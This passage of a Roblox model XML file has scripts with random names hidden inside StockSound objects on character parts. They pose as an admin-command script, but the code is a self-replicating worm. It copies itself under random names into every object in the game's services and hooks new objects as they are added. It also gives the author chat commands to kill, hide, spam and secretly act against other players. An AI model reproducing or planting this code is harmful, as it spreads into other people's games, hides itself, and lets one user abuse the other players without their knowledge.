local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX367">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-7.04969978</X>
								<Y>1.32223797</Y>
								<Z>117.323486</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX368">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">fmgjh</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX369">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">mcs83</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX370">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-6.35257339</X>
								<Y>1.32223892</Y>
								<Z>116.606544</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX371">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">6grqzi</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX372">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">jk33w2ajk</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
